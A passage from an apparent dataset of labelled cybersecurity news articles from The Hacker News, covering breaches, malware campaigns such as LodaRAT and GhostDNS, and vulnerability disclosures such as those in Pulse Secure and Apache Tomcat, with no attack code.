Wawa, which has over 850 convenience retail stores in Pennsylvania, New Jersey, Delaware, Maryland, Virginia, Florida, and Washington, DC, is also offering free identity theft protection and credit monitoring at no charge to anyone whose information may have been compromised.

""I apologize deeply to all of you, our friends and neighbors, for this incident,"" said Wawa President and CEO Chris Gheysens. ""You are my top priority and are critically important to all of the nearly 37,000 associates at Wawa. We take this special relationship with you and the protection of your information very seriously.""

What affected customers should do now? Customers who bought anything from any of the Wawa convenience stores since March this year are advised to monitor their payment card statements carefully.

In case you find any unauthorized charges, immediately notify the relevant payment card issuer of it and consider placing a fraud alert or security freeze on your credit file at Equifax, Experian, and TransUnion.

Also, if possible, you should consider blocking the affected payment card and requesting a new one from your respective financial institution.
",Data_Breaches
NSA's Hacking Group Hacked! Bunch of Private Hacking Tools Leaked Online,https://thehackernews.com/2016/08/nsa-hacking-tools.html,"It seems like the NSA has been HACKED!

Update: The NSA Hack — What, When, Where, How, Who & Why? Explained Here.

An unknown hacker or a group of hackers just claimed to have hacked into ""Equation Group"" -- a cyber-attack group allegedly associated with the United States intelligence organization NSA -- and dumped a bunch of its hacking tools (malware, private exploits, and hacking tools) online.

I know, it is really hard to believe, but some cybersecurity experts who have been examining the leak data, exploits and hacking tools, believe it to be legitimate.

Hacker Demands $568 Million in Bitcoin to Leak All Tools and Data

Not just this, the hackers, calling themselves ""The Shadow Brokers,"" are also asking for 1 Million Bitcoins (around $568 Million) in an auction to release the 'best' cyber weapons and more files.

Also Read: Links Found between NSA, Regin Spy tool and QWERTY Keylogger

Widely believed to be part of the NSA, Equation Group was described as ""a threat actor that surpasses anything known in terms of complexity and sophistication of techniques, and that has been active for almost two decades,"" according to a report published by security firm Kaspersky in 2015.

Equation Group was also linked to the previous infamous Regin and Stuxnet attacks, allegedly the United States sponsored hacks, though the link was never absolutely proven.

Two days back, The Shadow Brokers released some files, which it claimed came from the Equation Group, on Github (deleted) and Tumblr.

Exploits for American & Chinese Firewalls Leaked:

The files mostly contained installation scripts, configurations for command-and-control (C&C) servers, and exploits allegedly designed to target routers and firewalls from American manufacturers including, Cisco, Juniper, and Fortinet.

According to the leaked files, Chinese company 'Topsec' was also an Equation Group target.

The leak mentioned names of some of the hacking tools that correlate with names used in the documents leaked by whistleblower Edward Snowden, like ""BANANAGLEE"" and ""EPICBANANA.""
""We follow Equation Group traffic,"" says the Shadow Broker. ""We find Equation Group source range. We hack Equation Group. We find many many Equation Group cyber weapons. You see pictures. We give you some Equation Group files free, you see. This is good proof no? You enjoy!!! You break many things. You find many intrusions. You write many words. But not all, we are auction the best files.""
It is yet not confirmed whether the leaked documents are legitimate or not, but some security experts agree that it likely is.

""I haven't tested the exploits, but they definitely look like legitimate exploits,"" Matt Suiche, founder of UAE-based cyber security firm Comae Technologies, told the Daily Dot.

Also Read: NSA Planted Stuxnet-Type Malware Deep Within Hard Drive Firmware

While some are saying that the leak could be a very well-researched hoax, and the Bitcoin auction could be nothing but a distraction in an attempt to gain media attention.
""If this is a hoax, the perpetrators put a huge amount of effort in,"" security researcher The Grugq told Motherboard. ""The proof files look pretty legit, and they are exactly the sorts of exploits you would expect a group that targets communications infrastructure to deploy and use.""
However, if NSA has successfully been hacked, the hack would be a highly critical cyber security incident.

Update: The NSA Hack — What, When, Where, How, Who & Why? Explained Here.

",Malware
Sony Mobile website hacked by NullCrew,https://thehackernews.com/2012/09/sony-mobile-website-hacked-by-nullcrew.html,"Another Cyber attack on Sony this year, Hacking group called ""NullCrew"" hack into one of the biggest site of Sony mobile website (www.sonymobile.com) and leak complete database on Internet. Nullcrew releasing their hack dumps from their official twitter account @OfficialNull.

The dump of database released on Pastebin with a small note from Hackers as given below:

Sony, we are dearly dissapointed in your security.
This is just one of eight sony servers that we have control of.
Maybe, just maybe considering IP addresses are available.
Maybe, just maybe it's the fact that not even your customers can trust you.
Or maybe, just maybe the fact that you can not do anything correct technologically

Stats of Dump:
441 Members Username with Email Addresses
24 User names with Hashed password from Think_Users table
3 Admin user data from admin_user table
Not just Sony, Nullcrew recently hack into Cambodia Army website and dump database.
""Recently the co-founder of Piratebay was arrested in Cambodia, this seems like the megaupload case.As long as the government attempts to censor, then there will be more of this; what happened to Freedom.""

""So that is why #OpTPB has come to be, they should have expected it when they did this.Cambodia, we will not stop until you come to your sences.""

And also UK government website (data.gov.uk) to Support Julian Assange and Wikileaks. Hackers list all the Vulnerabilities on the server and upload database on file sharing site.

",Vulnerability
LodaRAT Windows Malware Now Also Targets Android Devices,https://thehackernews.com/2021/02/lodarat-windows-malware-now-also.html,"A previously known Windows remote access Trojan (RAT) with credential-stealing capabilities has now expanded its scope to set its sights on users of Android devices to further the attacker's espionage motives.
""The developers of LodaRAT have added Android as a targeted platform,"" Cisco Talos researchers said in a Tuesday analysis. ""A new iteration of LodaRAT for Windows has been identified with improved sound recording capabilities.""
Kasablanca, the group behind the malware, is said to have deployed the new RAT in an ongoing hybrid campaign targeting Bangladeshi users, the researchers noted.
The reason why Bangladesh-based organizations have been specifically singled out for this campaign remains unclear, as is the identity of the threat actor.
First documented in May 2017 by Proofpoint, Loda is an AutoIt malware typically delivered via phishing lures that's equipped to run a wide range of commands designed to record audio, video, and capture other sensitive information, with recent variants aimed at stealing passwords and cookies from browsers.
The latest versions — dubbed Loda4Android and Loda4Windows — are a lot alike in that they come with a full set of data-gathering features that constitute a stalker application. However, the Android malware is also different, as it particularly avoids techniques often used by banking Trojans, like abusing Accessibility APIs to record on-screen activities.
Besides sharing the same command-and-control (C2) infrastructure for both Android and Windows, the attacks, which originated in October 2020, have targeted banks and carrier-grade voice-over-IP software vendors, with clues pointing to the malware author being based in Morocco.
The attackers also made of a myriad number of social engineering tricks, ranging from typo squatted domains to malicious RTF documents embedded in emails, that, when opened, triggered an infection chain that leverages a memory corruption vulnerability in Microsoft Office (CVE-2017-11882) to download the final payload.
While the Android version of the malware can take photos and screenshots, read SMS and call logs, send SMS and perform calls to specific numbers, and intercept SMS messages or phone calls, its latest Windows counterpart comes with new commands that enable remote access to the target machine via Remote Desktop Protocol (RDP) and a ""Sound"" command that makes use of BASS audio library to capture audio from a connected microphone.
""The fact that the threat group has evolved into hybrid campaigns targeting Windows and Android shows a group that is thriving and evolving,"" said researchers with Cisco Talos.
""Along with these improvements, the threat actor has now focused on specific targets, indicating more mature operational capabilities. As is the case with earlier versions of Loda, both versions of this new iteration pose a serious threat, as they can lead to a significant data breach or heavy financial loss.""

",Malware
Russians selling access to private company servers in just $4,https://thehackernews.com/2012/10/russians-selling-access-to-private.html,"We have already seen vulnerability in Remote Desktop Protocol (RDP) is a potential dangers of desktop remote-access tools commonly used by IT departments to handle help-desk issues and by administrators to manage virtualized machines.

According to reports from krebsonsecurity, A Russian company called ""dedicated express"" (Dedicatexpress.com) is selling access to private company servers for as little as $4. Cyber criminals have hacked around 17,000 computers worldwide using such insecure applications in server and selling them in underground markets. Although almost 300,000 compromised systems have passed through this service since its inception in early 2010.

New customers who contact the service's owner via instant message and pay a $20 registration fee via WebMoney, a virtual currency. The price of any hacked server is calculated based on several qualities, including the speed of its processor and the number of processor cores, the machine's download and upload speeds, and the length of time that the hacked RDP server has been continuously available online.

He found that a Fortune 500 company - Cisco server was also on sale on the ""dedicated express"" site. The username and the password for the RDP service were ""Cisco"", respectively ""Cisco"" The machine was a Windows Server 2003 system in San Jose, Calif., being sold for $4.55

On another note, Dedicatexpress works directly with hackers who earn commissions for selling the RDP machines to the service.

So how can you use remote desktop access safely? Follow some Tips:
- Using a strong password.
- Limit users who can log on to the host computer.
- Set the number of password attempts until the user is locked out.
- Allow only certain IP addresses to access the Remote Desktop.

The 2012 Global IT Risk Report from Kaspersky Lab is now available to download here. According to reports , 91% of businesses have experienced at least one cyber threat 41% feel they are underprepared.

",Vulnerability
Microsoft Warns CrowdStrike of Hackers Targeting Azure Cloud Customers,https://thehackernews.com/2020/12/microsoft-warns-crowdstrike-of-hackers.html,"New evidence amidst the ongoing probe into the espionage campaign targeting SolarWinds has uncovered an unsuccessful attempt to compromise cybersecurity firm Crowdstrike and access the company's email.
The hacking endeavor was reported to the company by Microsoft's Threat Intelligence Center on December 15, which identified a third-party reseller's Microsoft Azure account to be making ""abnormal calls"" to Microsoft cloud APIs during a 17-hour period several months ago.
The undisclosed affected reseller's Azure account handles Microsoft Office licensing for its Azure customers, including CrowdStrike.
Although there was an attempt by unidentified threat actors to read the emails, it was ultimately foiled as the firm does not use Microsoft's Office 365 email service, CrowdStrike said.
The incident comes in the wake of the supply chain attack of SolarWinds revealed earlier this month, resulting in the deployment of a covert backdoor (aka ""Sunburst"") via malicious updates of a network monitoring software called SolarWinds Orion.
Since the disclosure, Microsoft, Cisco, VMware, Intel, NVIDIA, and a number of US government agencies have confirmed finding tainted Orion installations in their environments.
The development comes a week after the Windows maker, itself a SolarWinds customer, denied hackers had infiltrated its production systems to stage further attacks against its users and found evidence of a separate hacking group abusing Orion software to install a separate backdoor called ""Supernova.""
It also coincides with a new report from The Washington Post today, which alleges Russian government hackers have breached Microsoft cloud customers and stolen emails from at least one private-sector company by taking advantage of a Microsoft reseller that manages cloud-access services.
""Our investigation of recent attacks has found incidents involving abuse of credentials to gain access, which can come in several forms. We have not identified any vulnerabilities or compromise of Microsoft product or cloud services,"" Microsoft's Senior Director Jeff Jones said in an email response to The Hacker News.
CrowdStrike has also released CrowdStrike Reporting Tool for Azure (CRT), a free tool that aims to help organizations review excessive permissions in their Azure Active Directory or Office 365 environments and help determine configuration weaknesses.
In addition, the US Cybersecurity Infrastructure and Security Agency (CISA) has separately created a similar open-source utility called Sparrow to help detect possible compromised accounts and applications in Azure or Office 365 environments.
""The tool is intended for use by incident responders and is narrowly focused on activity that is endemic to the recent identity- and authentication-based attacks seen in multiple sectors,"" CISA said.
For its part, SolarWinds has updated its security advisory, urging customers to update Orion Platform software to version 2020.2.1 HF 2 or 2019.4 HF 6 to mitigate the risks associated with Sunburst and Supernova vulnerabilities.

",Cyber_Attack
Apache Tomcat Multiple Critical Vulnerabilities,https://thehackernews.com/2012/12/apache-tomcat-multiple-critical.html,"Some critical vulnerabilities have been reported in Apache Tomcat, which can be exploited by malicious people to bypass certain security restrictions and cause a DoS (Denial of Service) attack. These vulnerabilities affect Apache Tomcat 6.x and Apache Tomcat 7.x .

Apache Tomcat vulnerabilities
CVE-2012-4534 Apache Tomcat denial of service
CVE-2012-3546 Apache Tomcat Bypass of security constraints
CVE-2012-4431 Apache Tomcat Bypass of CSRF prevention filter


According to CVE-2012-4431 , The CSRF prevention filter could be bypassed if a request was made to a protected resource without a session identifier present in the request.

CVE-2012-4534, DOS includes vulnerabilities ranging from excessive resource consumption (e.g. causing a system to use a lot of memory) to crashing an application or an entire system.

Whereas, CVE-2012-3546 - where malicious users or people can bypass certain security mechanisms of the application. The actual impact varies significantly depending on the design and purpose of the affected application.

If you are affected, Please update your Tomcat to a fixed version i.e
Tomcat 7.x: Update to version 7.0.32.
Tomcat 6.x: Update to version 6.0.36.

",Vulnerability
"Tumblr Worm affects thousands blogs, spam offensive articles",https://thehackernews.com/2012/12/tumblr-worm-affects-thousands-blogs.html,"A notorious group of Internet trolls says it has unleashed a worm that has littered Tumblr blogs with inflammatory and racist posts. A massive bug affecting some 8,600 unique Tumblr users. Gay Nigger Association of America, took responsibility for the attack.

The infected post begins: ""Dearest 'Tumblr' users ,This is in response to the seemingly pandemic growth and world-wide propagation of the most fucking worthless, contrived, bourgeoisie, self-congratulating and decadent bullshit the internet ever had the fortune of faciliating.""

How worm work ? Worm took advantage of Tumblr's reblogging feature, meaning that anyone who was logged into Tumblr would automatically reblog the infectious post if they visited one of the offending pages. Naked Security said.

In a message posted to the company's official Twitter account, the blogging site said, ""We are aware that there is a viral post circulating on Tumblr. We are working to resolve the issue as swiftly as possible. Thank you. ""
The Gay Nigger Association of America (GNAA) is an anti-blogging Internet-trolling organization. They have trolled several prominent websites and Internet personalities including Slashdot, Wikipedia, CNN, Barack Obama's campaign website, Alex Jones, and prominent members of the blogosphere.

They have also released software products and leaked screenshots and information about upcoming operating systems. In addition, they maintain a wiki-based site dedicated to Internet commentary and a software repository.

The micro-blogging site says its engineers are working on a fix.

",Malware
World's First Google Glass Spyware app unveiled,https://thehackernews.com/2014/03/worlds-first-google-glass-spyware-app_19.html,"In the mob of Smart Devices, after Smartphones... Google glass would definitely be the next must-have device. It's non-other than a small computer you wear like eyeglasses allows you to surf the Web, email, text, take photos, live videos and more, -- all hands free.

Google Glasses are yet in very limited release, but researchers have developed the world's first spyware that could hijack your Google's Glass computer eyepieces.

Two Polytechnic graduate researchers, 22-year-old Mike Lady and 24-year-old Kim Paterson, from California designed an app that has the capability to convert the Google Glass into a Spy Camera, click a photo every ten seconds without giving any visible sign to the wearer, Forbes reported yesterday.

The malware app developed by the researchers, masquerades itself as a fair piece of note-taking software, ironically dubbed as 'Malnotes', that trick users accept the permissions which allow them to capture images of whatever the glass wearer is looking at, in every 10 seconds when Glass's display is turned off and uploads them to the remote server.

Although, it's Google's developer policy which specifically ban apps that capture images while the device display is off, but the two California researchers proved that there were no real security prohibitions to enforce this policy.

Forbes reported that in a short video interview with the researchers, the Google Glass handset running Malnotes belonging to Mike Lady apparently uploaded more than 150 snapshots of his vision, with no indication for either him or any other person.
""The scary thing for us is that while it's a policy that you can't turn off the display when you use the camera, there's nothing that actually prevents you from doing it,"" says Paterson. ""As someone who owns Glass and wants to install more apps, I'd feel a lot better if it were simply impossible to do that. Policies don't really protect us.""
The researchers were successful in uploading the malicious app into the Google app store which was subsequently removed from the Google when the news broke. But, when their professor tweeted about their work and received a response from a Google staffer, they didn't bother to try uploading the app to Google MyGlass app store.

Such malicious apps could be served via 3rd party app stores or could be installed using a USB cable via computer, when in debug mode. Just yesterday, we have reported about a Windows Spy tool that can even install a spyware app to Android devices connected to the infected computer.

The Google spokesperson stated in response, ""Right now Glass is still in an experimental phase and has not been widely released to consumers. One goal of the Explorer program is to get Glass in the hands of developers so they can hack together features and discover security exploits.""

",Malware
Las Vegas Sands' Casino Network hit by Destructive Malware,https://thehackernews.com/2014/12/las-vegas-casino-hacked.html,"Sony Pictures Entertainment hack that started at the end of the last month and so far has caused a severe damage to its reputation as well as resources, from internal system shutdown to upcoming movies and scripts leak. Now, a similar cyber attack against Casino operator Las Vegas Sands Corp has been revealed that occurred on February 2014.

The cyber attack occurred on this year's February but the details of damages to the casino was not publicized until Bloomberg Businessweek exposed it in a story on Thursday. Hackers crippled thousands of servers and computers across the network of the giant Las Vegas Sands Corp. by wiping them with highly destructive malware.

The hack attack was believed to be in response to the statement given by the chief executive officer and largest shareholder of Las Vegas Sands Corp., Sheldon Adelson. On October 2013, the billionaire made a statement at the Manhattan campus of Yeshiva University that Iran should be bombed to get the country to abandon its own nuclear program.
""What I would do,"" he said during the panel, rather than negotiating, ""would be to say, 'Do you see that desert over there? I want to show you something.' You pick up your cell phone and you call somewhere in Nebraska and you say 'Ok let it go.'…Then you say, 'See? The next one is in the middle of Tehran.""
This statement given by Adelson circulated on all over the Internet and reached Iran's Supreme Leader Ayatollah Ali Khameeni, who responded after two weeks later and said that the American government should ""slap these prating people in the mouth and crush their mouths.""

Two months later, the attackers attacked the Las Vegas Sands' IT network to destroy the corporation and continues their attacks last January on the company's virtual private network gateway at its slots casino in Bethlehem, Pennsylvania.

The attack went worse in February, when hackers breached server for the casino's website and used an open tool to fetch usernames and passwords. Finally, they found the credentials of a senior systems engineer who had visited the Bethlehem site from Las Vegas, which gave them keys to the corporate castle. The attackers wiped out data on computers and servers and erased hard drives, as malware ripped through the company's networks.
""Those credentials got the hackers into the gaming company's servers in Las Vegas,"" Bloomberg reported. ""As they rifled through the master network, the attackers readied a malware bomb. Typing from a Sony (SNE) VAIO computer, they compiled a small piece of code, only about 150 lines long, in the Visual Basic programming language.""
Hackers posted personal information about Sands Bethlehem employees, stolen email addresses and social security numbers. They also left personal messages for Adelson, ""Encouraging the use of Weapons of Mass Destruction, UNDER ANY CONDITION, is a Crime, signed, the Anti WMD Team,"" said one. ""Damn A, Don't let your tongue cut your throat,"" warned another.

The virus was written in a Visual basic language, which is a common desktop programming language. Visual basic malwares were used in past because of a limitation that it runs on Windows system.

A spokesperson for cybersecurity firm Dell SecureWorks, who was brought to clean up the after-damage caused to the company and determine its actual cause, denied to comment on the issue due to the policy made by the company not to discuss work done for a customer.

Also, the company spokesman Ron Reese declined to comment on the details provided in the report published by Bloomberg, saying, ""I'm not going to confirm anything that was speculated or written in the Bloomberg story.""

",Malware
Pulse Secure VPNs Get New Urgent Update for Poorly Patched Critical Flaw,https://thehackernews.com/2021/08/pulse-secure-vpns-get-new-urgent-update.html,"Pulse Secure has shipped a fix for a critical post-authentication remote code execution (RCE) vulnerability in its Connect Secure virtual private network (VPN) appliances to address an incomplete patch for an actively exploited flaw it previously resolved in October 2020.
""The Pulse Connect Secure appliance suffers from an uncontrolled archive extraction vulnerability which allows an attacker to overwrite arbitrary files, resulting in Remote Code Execution as root,"" NCC Group's Richard Warren disclosed on Friday. ""This vulnerability is a bypass of the patch for CVE-2020-8260.""
""An attacker with such access will be able to circumvent any restrictions enforced via the web application, as well as remount the filesystem, allowing them to create a persistent backdoor, extract and decrypt credentials, compromise VPN clients, or pivot into the internal network,"" Warren added.
The disclosure comes days after Ivanti, the company behind Pulse Secure, published an advisory for as many as six security vulnerabilities on August 2, urging customers to move quickly to update to Pulse Connect Secure version 9.1R12 to secure against any exploitation attempts targeting the flaws.
Tracked as CVE-2021-22937 (CVSS score: 9.1), the shortcoming could ""allow an authenticated administrator to perform a file write via a maliciously crafted archive uploaded in the administrator web interface,"" according to Pulse Secure. CVE-2020-8260 (CVSS core: 7.2), which concerns an arbitrary code execution flaw using uncontrolled gzip extraction, was remediated in October 2020 with version 9.1R9.
""CVE-2021-2293 is a separate vulnerability and is not a bypass of CVE-2020-8260, but is similar in terms of impact and vulnerability type, which is why we assigned a separate CVE,"" Daniel Spicer, Invanti's vice president of security, said in a statement to The Hacker News.
The vulnerability is due to a flaw in the way that archive files (.TAR) are extracted in the administrator web interface. While further checks were added to validate the TAR file to prevent exploitation of CVE-2020-8260, additional variant and patch analysis revealed that it's possible to exploit the same extraction vulnerability in the part of the source code that handles profiler device databases, effectively getting around the mitigations put in place.
""Whilst this issue was patched by adding validation to extracted files, this validation does not apply to archives with the 'profiler' type,"" Warren said. ""Therefore, by simply modifying the original CVE-2020-8260 exploit to change the archive type to 'profiler', the patch can be bypassed, and code execution achieved.""
It's worth noting that CVE-2020-8260 was one among the four Pulse Secure flaws that was actively exploited by threat actors earlier this April to stage a series of intrusions targeting defense, government, and financial entities in the U.S. and beyond in a bid to circumvent multi-factor authentication protections and breach enterprise networks. Given the possibility of real-world exploitation, it's highly recommended to upgrade to Pulse Connect Secure (PCS) 9.1R12, or later.
""A rigorous code review is just one of the steps we are taking to further bolster our security and protect our customers,"" Spicer said. ""For instance, we are also further expanding our existing internal product security resources to ramp up the pace and intensity of testing on existing products as well as those of companies or systems that we integrate into Ivanti.""

",Malware
"GhostDNS: New DNS Changer Botnet Hijacked Over 100,000 Routers",https://thehackernews.com/2018/10/ghostdns-botnet-router-hacking.html,"Chinese cybersecurity researchers have uncovered a widespread, ongoing malware campaign that has already hijacked over 100,000 home routers and modified their DNS settings to hack users with malicious web pages—especially if they visit banking sites—and steal their login credentials.

Dubbed GhostDNS, the campaign has many similarities with the infamous DNSChanger malware that works by changing DNS server settings on an infected device, allowing attackers to route the users' internet traffic through malicious servers and steal sensitive data.

According to a new report from cybersecurity firm Qihoo 360's NetLab, just like the regular DNSChanger campaign, GhostDNS scans for the IP addresses for routers that use weak or no password at all, accesses the routers' settings, and then changes the router's default DNS address to the one controlled by the attackers.

GhostDNS System: List of Modules and Sub-Modules

The GhostDNS system mainly includes four modules:

1) DNSChanger Module: This is the main module of GhostDNS designed to exploit targeted routers based upon collected information.

DNSChanger Module is comprised of three sub-modules, which the researchers dubbed, Shell DNSChanger, Js DNSChanger, and PyPhp DNSChanger.

a.) Shell DNSChanger—Written in the Shell programming language, this sub-module combines 25 Shell scripts that can brute-force the passwords on routers or firmware packages from 21 different manufacturers.

b.) Js DNSChanger—Mainly written in JavaScript, this sub-module includes 10 attack scripts designed to infect 6 routers or firmware packages.

""Its functional structure is mainly divided into scanners, payload generators, and attack programs. The Js DNSChanger program is usually injected into phishing websites, so it works together with the Phishing Web System,"" the researchers say.

c.) PyPhp DNSChanger—Written in both Python and PHP, this submodule contains 69 attack scripts against 47 different routers/firmware and has been found deployed on over 100 servers, most of which on Google Cloud, and includes functionalities like Web API, Scanner and Attack module.

This sub-module is the core module of DNSChanger that allows attackers to scan the Internet to find vulnerable routers.

2) Web Admin module: Though researchers do not have too much information about this module yet, it seems to be an admin panel for attackers secured with a login page.

3) Rogue DNS module: This module is responsible for resolving targeted domain names from the attacker-controlled web servers, which mainly involves banking and cloud hosting services, along with a domain that belongs to a security company named Avira.

""We have no access to the Rouge DNS server, so we can't say for sure how many DNS names have been hijacked, but by querying both Alexa Top1M and our DNSMon's Top1M domains against the rogue DNS server (139.60.162.188), we were able to find a total of 52 domains being hijacked,"" NetLab researchers say.

4) Phishing Web module: When a targeted domain successfully gets resolved through the rogue DNS module, Phishing web module aims to server the right fake version for that specific website.

GhostDNS Malware Targeting Brazilian Users Primarily

According to the researchers, between September 21 and 27, the GhostDNS campaign compromised more than 100,000 routers, of which 87.8 percent of devices (which equals to 87,800) are located in Brazil only, which means Brazil is the primary target for GhostDNS attackers.

Also Read: VPNFilter Router Malware Adds 7 New Network Exploitation Modules

""Currently the campaign mainly focuses on Brazil, we have counted 100k+ infected router IP addresses (87.8% located in Brazil), and 70+ router/firmware have been involved, and 50+ domain names such as some big banks in brazil , even Netflix, Citibank.br have been hijacked to steal the corresponding website login credentials,"" the researchers say.

Since the GhostDNS campaign is highly scaled, utilizes different attack vector and adopts automated attack process, it poses a real threat to users. Therefore, users are advised to protect themselves.

How to Protect Your Home Router from Hackers

In order to avoid yourself from being a victim to such attacks, you are recommended to ensure that your router is running the latest version of the firmware and set a strong password for the router web portal.

You can also consider disabling remote administration, changing its default local IP address, and hardcoding a trusted DNS server into your router or the operating system.

NetLab researchers also recommended the router vendors to increase the complexity of router default password and enhance the system security update mechanism for their products.

",Malware
Russian hackers stole Personal details of 54 million Turkish Citizens,https://thehackernews.com/2013/12/russian-hackers-stole-personal-details.html,"The Publicized Hacks, Cyber attacks and Data breaches continue to increase, and the majority of attacks are from outsiders.

Recently, Some unknown Russian hackers have reportedly stolen Personal details of nearly 54 million Turkish citizens, about 70% of the whole Turkish population.
According to a report published by 'Hurriyet News', Researchers from KONDA Security firm revealed that the hackers have stolen data from a political party's vulnerable system that include Name, ID numbers and address of 54 million voters across the Nation.

Researchers claimed that the hacked system (being used for Database and website Management) did not have any antivirus product installed and voter information was also uploaded online on a vulnerable website.
This was really a bad idea, and they mentioned that ""in two hours hackers downloaded all the information.""

In another statement, they mentioned that some government institutions share citizen's personal data online with other public and private bodies without ensuring the protection of data.

It's tough to accept, but you cannot protect all data. Data breaches will keep striking in 2014 also, but we will never know Where, When and How. Attackers are getting smarter, developing new advanced persistent threats, so Data breaches continue to become increasingly sophisticated.

It is always important to take steps to enable encryption for Data and Devices, educate and aware the end users about the latest threats and basic necessary actions to protect the key data.

",Data_Breaches
Critical OS X Flaw Grants Mac Keychain Access to Malware,https://thehackernews.com/2015/09/mac-os-x-vulnerability.html,"Back in July, a security researcher disclosed a zero-day vulnerability in Mac OS X that allowed attackers to obtain unrestricted root user privileges with the help of code that even fits in a tweet.

The same vulnerability has now been upgraded to again infect Mac OS X machines even after Apple fixed the issue last month.

The privilege-escalation bug was once used to circumvent security protections and gain full control of Mac computers. Thanks to the environment variable DYLD_PRINT_TO_FILE Apple added to the code of OS X 10.10 Yosemite.

The vulnerability then allowed attackers to install malware and adware onto a target Mac, running OS X 10.10 (Yosemite), without requiring victims to enter system passwords.

However, the company fixed the critical issue in the Mac OS X 10.11 El Capitan Beta builds as well as the latest stable version of Mac OS X – Version 10.10.5.

Mac Keychain Flaw

Now, security researchers from anti-malware firm MalwareBytes spotted the updated version of the same highly questionable malicious installer is now accessing user's Mac OS X keychain without user's permission.

Once executed, the updated installer throws an installer request that asks for permission to access the user's OS X keychain.

The installer automatically simulates a click on the ""Allow"" button as soon as it appears, which allows it to gain access to the Safari Extensions List, said MalwareBytes researcher Thomas Reed.

This allows the malicious installer to install a Genieo Safari extension. The entire process of installing a malicious extension and gain access to OS X keychain takes just a fraction of a second.

You're Totally Screwed Up

However, the more worrisome part is that the installer could easily be modified to grant attackers access to other data from the keychain alongside passwords for user's Gmail account, iCloud account, and other important accounts.

Meanwhile, two security researchers from Beirut independently reported the Mac Keychain vulnerability on Tuesday, the same day Malwarebytes researchers disclosed their findings involving Genieo.

The technique works on Mac systems only when invoked by an app already installed on user's systems.

The issue is critical because the Mac keychain is supposedly the protected place for storing account passwords and cryptographic keys.

Apple has yet to respond to this latest issue. Until then, Mac users are advised to follow the standard security practices, such as do not download files from unknown or untrusted sources, and be wary of emails or websites that seem suspicious.

",Malware
Accidentally invented - Dos attack using Google Spreadsheets,https://thehackernews.com/2012/04/accidentally-invented-dos-attack-using.html,"Panos Ipeirotis, a computer scientists working at New York University,attack on his Amazon web service using Google Spreadsheets and Panos Ipeirotis checked his Amazon Web Services bill last week - its was $1,177.76 !

He had accidentally invented a brand new type of internet attack, thanks to an idiosyncrasy in the online spreadsheets Google runs on its Google Docs service, and he had inadvertently trained this attack on himself. He calls it a Denial of Money attack, and he says others could be susceptible too.

On his personal blog Ipeirotis explained that it all started when he saw that Amazon Web Services was charging him with ten times the usual amount because of large amounts of outgoing traffic.

As part of an experiment in how to use crowdsourcing to generate descriptions of images, he had posted thumbnails of 25,000 pictures into a Google document, and then he invited people to describe the images. The problem was that these thumbnails linked back to original images stored on Amazon's S3 storage service, and apparently, Google's servers went slightly bonkers. ""Google just very aggressively grabbed the images from Amazon again and again and again,"" he says.

After analyzing traffic logs he was able to determine that every hour a total of 250 gigabytes of traffic was sent out because of Google's Feedfetcher, the mechanism that allows the search engine to grab RSS or Atom feeds when users add them to Reader or the main page.

After speaking with Google representatives, Ipeirotis believes that the company is trying to balance user privacy with a desire to present fresh content. It seems that Google doesn't want to store the information on its own servers so it uses Feedfetcher to retrieve it every time, thus generating large amounts of traffic.

""Google becomes such a powerful weapon due to a series of perfectly legitimate design decisions,"" Ipeirotis wrote in a blog posting on the issue.

",Vulnerability
Oracle releases patches for Java vulnerability CVE-2012-4681,https://thehackernews.com/2012/09/oracle-releases-patches-for-java.html,"Oracle has released a new patch which kills off a vulnerability in Java 7 that was being exploited by malware developers. ""Due to the high severity of these vulnerabilities, Oracle recommends that customers apply this Security Alert as soon as possible,"" Eric Maurice, the company's director of software security assurance.

The out-of-band Security Alert CVE-2012-4681 includes fixes for ""three distinct but related vulnerabilities and one security-in-depth issue"" affecting Java running within the browser.

Users with vulnerable versions of Java installed can have malware silently planted on their systems just by browsing to a hacked or malicious website unknowingly.Java is a free programming language widely used to enable every day programs and website elements to function, including some games, apps and chat, as well as enterprise apps.

The attacks using this vulnerability so far have been Windows-based, the exploit was demonstrated on other platforms supported by Java 7, including OS X systems where the exploit was successfully run in the latest Safari and Firefox browsers in Mountain Lion.

The Java exploit, originally used for targeted attacks, went public last week and began to spread like wildfire after it was added to the popular BlackHole crimeware kit, making it easily accessible to all types of cybercriminals. The patches are emergency, out-of-schedule updates for Oracle. The company was not planning to release security updates for Java until October.

The Java 7 Update 7 patch can be downloaded from the Java SE Downloads Web page, and Oracle recommends that all users of Java 7 apply the update.

",Vulnerability
Arrested 'Happy Hacker' is the ZeuS Botnet Mastermind,https://thehackernews.com/2013/01/arrested-happy-hacker-is-zeus-botnet.html,"Last week, Happy Hacker arrested in Thailand on charges of stealing millions from online bank accounts. According to new reports same hacker alleged as ZeuS Mastermind and used to have the profile of a miscreant nicknamed ""bx1,"" a hacker fingered by Microsoft before as a major operator of botnets powered by the ZeuS banking trojan.


He remained smiling throughout a press conference in which Thai police explained that Thailand will seek to extradite Mr Bendelladj to the US state of Georgia, where a court has issued a warrant for his arrest.

24-year-old Algerian Hacker , Hamza Bendelladj arrested at a Bangkok airport enroute from Malaysia to Egypt. The ZeuS botnet is one of the most notorious in existence, and it's also one that has earned its masters some pretty massive payouts.

The Email ID's daniel.h.b@universityofsutton.com, and danieldelcore@hotmail.com mentioned by Microsoft in a complaint submitted to the U.S. District Court for the Eastern District of Virginia, appear to be linked to the man.

Mr Bendelladj, who graduated in computer sciences in Algeria in 2008, has allegedly hacked private accounts in 217 banks and financial companies worldwide.

",Malware
Uber's Android app is Literally Malware?,https://thehackernews.com/2014/11/ubers-android-app-is-literally-malware_28.html,"The popular ride-sharing service Uber has been hit by various controversies lately, but now the things gone even worse for the company when a security researcher made a worrying discovery this week and claims, ""Uber's app is literally malware.""

The ride-hailing company is in disputes of handling privacy of its customers data. A Phoenix-based security researcher Joe Giron found that a surprising amount of users' data is being collected by the company's mobile application for Android.

Researcher, who runs a cyber security firm in Arizona, just reverse-engineered the code of Uber's Android application and come to the conclusion that it is a malware. He discovered that the app ""calls home"" and sends data back to the company.

But this excessive amount of access to users' data is not the sort of app data a taxi company should have access to in the first place. It really seems strange and unnecessary to collect.
""Christ man! Why the hell would it want access to my camera, my phone calls, my Wi-Fi neighbors, my accounts, etc?"" Joe writes in his Security Blog. ""Why the hell is this here? What's it sending? Why? Where? I don't remember agreeing to allow Uber accedes to my phone calls and SMS messages. Bad NSA-Uber.""
Now one thing strikes in our mind that today a large number of Smartphone applications have access to users' app data, so what's the difference between others and Uber's way of accessing your data??

Here we present you a long list of everything the Uber Android app can have about its users, revealed by a thread on Ycombinator:
